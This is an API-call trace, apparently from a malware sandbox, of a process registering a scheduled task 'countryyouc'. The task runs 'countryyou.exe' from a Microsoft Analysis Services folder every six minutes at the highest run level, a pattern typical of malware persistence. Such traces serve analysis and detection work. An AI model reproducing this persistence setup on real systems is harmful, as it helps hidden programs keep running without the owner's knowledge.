[0073.748] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0073.748] lstrlenW (lpString="MINUTE") returned 6 [0073.748] GetProcessHeap () returned 0x100000 [0073.748] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11d740 [0073.749] GetThreadLocale () returned 0x409 [0073.749] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0073.749] SetLastError (dwErrCode=0x0) [0073.749] GetProcessHeap () returned 0x100000 [0073.749] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x1fc) returned 0x11c4f0 [0073.750] GetProcessHeap () returned 0x100000 [0073.750] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce80 [0073.750] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.750] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0073.750] lstrlenW (lpString="First") returned 5 [0073.750] GetProcessHeap () returned 0x100000 [0073.750] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xc) returned 0x11d760 [0073.750] GetProcessHeap () returned 0x100000 [0073.750] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce50 [0073.750] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.750] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0073.750] lstrlenW (lpString="Second") returned 6 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11d780 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ce20 [0073.751] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.751] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0073.751] lstrlenW (lpString="Third") returned 5 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xc) returned 0x11d7a0 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cdf0 [0073.751] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.751] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0073.751] lstrlenW (lpString="Fourth") returned 6 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11d7c0 [0073.751] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.751] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0073.751] lstrlenW (lpString="Last") returned 4 [0073.751] GetProcessHeap () returned 0x100000 [0073.751] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xa) returned 0x11d7e0 [0073.751] lstrlenW (lpString="6") returned 1 [0073.751] _wtol (_String="6") returned 6 [0073.751] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.751] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0073.752] lstrlenW (lpString="First") returned 5 [0073.752] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.752] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0073.752] lstrlenW (lpString="Second") returned 6 [0073.752] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.752] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0073.752] lstrlenW (lpString="Third") returned 5 [0073.752] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.752] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0073.752] lstrlenW (lpString="Fourth") returned 6 [0073.752] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.752] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0073.752] lstrlenW (lpString="Last") returned 4 [0073.752] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbbf80, cchData=128 | out: lpLCData="0") returned 2 [0073.752] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.753] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0073.753] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d760) returned 1 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d760) returned 0xc [0073.753] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d760 | out: hHeap=0x100000) returned 1 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x16) returned 0x11d760 [0073.753] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbbfa0, cchData=128 | out: lpLCData="0") returned 2 [0073.753] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.753] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0073.753] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d780) returned 1 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d780) returned 0xe [0073.753] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d780 | out: hHeap=0x100000) returned 1 [0073.753] GetProcessHeap () returned 0x100000 [0073.753] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x16) returned 0x11d780 [0073.753] GetLocalTime (in: lpSystemTime=0xbc1d0 | out: lpSystemTime=0xbc1d0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x76)) [0073.754] lstrlenW (lpString="") returned 0 [0073.754] GetLocalTime (in: lpSystemTime=0xbca88 | out: lpSystemTime=0xbca88*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x76)) [0073.754] lstrlenW (lpString="") returned 0 [0073.754] lstrlenW (lpString="") returned 0 [0073.754] lstrlenW (lpString="") returned 0 [0073.754] lstrlenW (lpString="") returned 0 [0073.754] lstrlenW (lpString="6") returned 1 [0073.754] _wtol (_String="6") returned 6 [0073.754] lstrlenW (lpString="") returned 0 [0073.754] lstrlenW (lpString="") returned 0 [0073.754] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0073.781] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0073.831] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbc850 | out: ppv=0xbc850*=0x2fdee0) returned 0x0 [0073.844] TaskScheduler:ITaskService:Connect (This=0x2fdee0, serverName=0xbc930*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbc8f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbc8d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0073.912] TaskScheduler:IUnknown:AddRef (This=0x2fdee0) returned 0x2 [0073.912] TaskScheduler:ITaskService:GetFolder (in: This=0x2fdee0, Path=0x0, ppFolder=0xbc9e8 | out: ppFolder=0xbc9e8*=0x2e7e80) returned 0x0 [0073.916] TaskScheduler:ITaskService:NewTask (in: This=0x2fdee0, flags=0x0, ppDefinition=0xbc9e0 | out: ppDefinition=0xbc9e0*=0x2e7ed0) returned 0x0 [0073.917] ITaskDefinition:get_Actions (in: This=0x2e7ed0, ppActions=0xbc960 | out: ppActions=0xbc960*=0x2e6480) returned 0x0 [0073.917] IActionCollection:Create (in: This=0x2e6480, Type=0, ppAction=0xbc980 | out: ppAction=0xbc980*=0x2e6850) returned 0x0 [0073.917] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.917] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.917] lstrlenW (lpString=" ") returned 1 [0073.917] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0073.917] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.918] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.918] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.918] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.919] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0073.919] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0073.919] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0073.920] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0073.920] IUnknown:Release (This=0x2e6850) returned 0x1 [0073.920] IUnknown:Release (This=0x2e6480) returned 0x1 [0073.920] ITaskDefinition:get_Triggers (in: This=0x2e7ed0, ppTriggers=0xbc4e0 | out: ppTriggers=0xbc4e0*=0x2e65c0) returned 0x0 [0073.920] ITriggerCollection:Create (in: This=0x2e65c0, Type=1, ppTrigger=0xbc4d8 | out: ppTrigger=0xbc4d8*=0x2e68c0) returned 0x0 [0073.920] lstrlenW (lpString="6") returned 1 [0073.921] _vsnwprintf (in: _Buffer=0xbc460, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc458 | out: _Buffer="PT6M") returned 4 [0073.921] ITrigger:get_Repetition (in: This=0x2e68c0, ppRepeat=0xbc4d0 | out: ppRepeat=0xbc4d0*=0x2e6950) returned 0x0 [0073.921] IRepetitionPattern:put_Interval (This=0x2e6950, Interval="PT6M") returned 0x0 [0073.921] IUnknown:Release (This=0x2e6950) returned 0x1 [0073.921] _vsnwprintf (in: _Buffer=0xbc420, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc3f8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0073.921] ITrigger:put_StartBoundary (This=0x2e68c0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0073.921] lstrlenW (lpString="") returned 0 [0073.922] lstrlenW (lpString="") returned 0 [0073.922] lstrlenW (lpString="") returned 0 [0073.922] lstrlenW (lpString="") returned 0 [0073.923] IUnknown:Release (This=0x2e68c0) returned 0x1 [0073.923] IUnknown:Release (This=0x2e65c0) returned 0x1 [0073.923] ITaskDefinition:get_Settings (in: This=0x2e7ed0, ppSettings=0xbc980 | out: ppSettings=0xbc980*=0x2e6630) returned 0x0 [0073.923] lstrlenW (lpString="") returned 0 [0073.923] IUnknown:Release (This=0x2e6630) returned 0x1 [0073.923] GetLocalTime (in: lpSystemTime=0xbc838 | out: lpSystemTime=0xbc838*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3a, wMilliseconds=0x121)) [0073.923] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0073.924] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0073.924] GetUserNameW (in: lpBuffer=0xbc860, pcbBuffer=0xbc848 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbc848) returned 1 [0073.924] ITaskDefinition:get_RegistrationInfo (in: This=0x2e7ed0, ppRegistrationInfo=0xbc830 | out: ppRegistrationInfo=0xbc830*=0x2e6500) returned 0x0 [0073.924] IRegistrationInfo:put_Author (This=0x2e6500, Author="") returned 0x0 [0073.925] _vsnwprintf (in: _Buffer=0xbc860, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbc7f8 | out: _Buffer="2023-09-19T17:16:58") returned 19 [0073.925] IRegistrationInfo:put_Date (This=0x2e6500, Date="") returned 0x0 [0073.925] IUnknown:Release (This=0x2e6500) returned 0x1 [0073.925] malloc (_Size=0x18) returned 0x2e7fb0 [0073.925] free (_Block=0x2e7fb0) [0073.925] lstrlenW (lpString="") returned 0 [0073.925] ITaskDefinition:get_Principal (in: This=0x2e7ed0, ppPrincipal=0xbca50 | out: ppPrincipal=0xbca50*=0x2e67a0) returned 0x0 [0073.925] IPrincipal:put_RunLevel (This=0x2e67a0, RunLevel=1) returned 0x0 [0073.925] IUnknown:Release (This=0x2e67a0) returned 0x1 [0073.926] malloc (_Size=0x18) returned 0x2e7fb0 [0073.926] ITaskFolder:RegisterTaskDefinition (in: This=0x2e7e80, Path="countryyouc", pDefinition=0x2e7ed0, flags=6, UserId=0xbcad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbe9e0, varVal2=0xfe), LogonType=3, sddl=0xbcaf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbc9f0 | out: ppTask=0xbc9f0*=0x2e6b30) returned 0x0 [0074.070] free (_Block=0x2e7fb0) [0074.070] _memicmp (_Buf1=0x11bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.070] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x11d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0074.070] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0074.070] GetProcessHeap () returned 0x100000 [0074.070] GetProcessHeap () returned 0x100000 [0074.070] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7a0) returned 1 [0074.070] GetProcessHeap () returned 0x100000 [0074.070] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d7a0) returned 0xc [0074.070] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7a0 | out: hHeap=0x100000) returned 1 [0074.070] GetProcessHeap () returned 0x100000 [0074.070] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x82) returned 0x139e90 [0074.070] _vsnwprintf (in: _Buffer=0xbd130, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbc998 | out: _Buffer="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n") returned 73 [0074.070] _fileno (_File=0x7feffe22ab0) returned -2 [0074.070] _errno () returned 0x2e4bb0 [0074.070] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0074.071] SetLastError (dwErrCode=0x6) [0074.071] lstrlenW (lpString="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n") returned 73 [0074.071] GetConsoleOutputCP () returned 0x0 [0074.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0074.071] GetConsoleOutputCP () returned 0x0 [0074.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", cchWideChar=73, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 73 [0074.071] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 73 [0074.071] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0074.072] IUnknown:Release (This=0x2e6b30) returned 0x0 [0074.072] TaskScheduler:IUnknown:Release (This=0x2e7ed0) returned 0x0 [0074.072] TaskScheduler:IUnknown:Release (This=0x2e7e80) returned 0x0 [0074.072] TaskScheduler:IUnknown:Release (This=0x2fdee0) returned 0x1 [0074.072] lstrlenW (lpString="") returned 0 [0074.072] lstrlenW (lpString="6") returned 1 [0074.072] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0074.072] GetProcessHeap () returned 0x100000 [0074.072] GetProcessHeap () returned 0x100000 [0074.072] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4f0) returned 1 [0074.072] GetProcessHeap () returned 0x100000 [0074.072] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c4f0) returned 0x1fc [0074.073] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4f0 | out: hHeap=0x100000) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115590) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115590) returned 0x4 [0074.073] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115590 | out: hHeap=0x100000) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6c0) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d6c0) returned 0x16 [0074.073] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6c0 | out: hHeap=0x100000) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6a0) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d6a0) returned 0x18 [0074.073] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6a0 | out: hHeap=0x100000) returned 1 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] GetProcessHeap () returned 0x100000 [0074.073] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf70) returned 1 [0074.074] GetProcessHeap () returned 0x100000 [0074.074] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf70) returned 0x20 [0074.074] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf70 | out: hHeap=0x100000) returned 1 [0074.074] GetProcessHeap () returned 0x100000 [0074.074] GetProcessHeap () returned 0x100000 [0074.074] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c190) returned 1 [0074.074] GetProcessHeap () returned 0x100000 [0074.074] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c190) returned 0xa0 [0074.075] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c190 | out: hHeap=0x100000) returned 1 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bc10) returned 1 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bc10) returned 0x18 [0074.075] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bc10 | out: hHeap=0x100000) returned 1 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ccd0) returned 1 [0074.075] GetProcessHeap () returned 0x100000 [0074.075] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ccd0) returned 0x20 [0074.076] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ccd0 | out: hHeap=0x100000) returned 1 [0074.076] GetProcessHeap () returned 0x100000 [0074.076] GetProcessHeap () returned 0x100000 [0074.076] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3f0) returned 1 [0074.076] GetProcessHeap () returned 0x100000 [0074.076] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c3f0) returned 0x8e [0074.076] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3f0 | out: hHeap=0x100000) returned 1 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6e0) returned 1 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d6e0) returned 0x18 [0074.077] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d6e0 | out: hHeap=0x100000) returned 1 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cca0) returned 1 [0074.077] GetProcessHeap () returned 0x100000 [0074.077] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cca0) returned 0x20 [0074.078] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cca0 | out: hHeap=0x100000) returned 1 [0074.078] GetProcessHeap () returned 0x100000 [0074.078] GetProcessHeap () returned 0x100000 [0074.078] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11de50) returned 1 [0074.078] GetProcessHeap () returned 0x100000 [0074.078] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11de50) returned 0x90 [0074.078] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11de50 | out: hHeap=0x100000) returned 1 [0074.078] GetProcessHeap () returned 0x100000 [0074.079] GetProcessHeap () returned 0x100000 [0074.079] 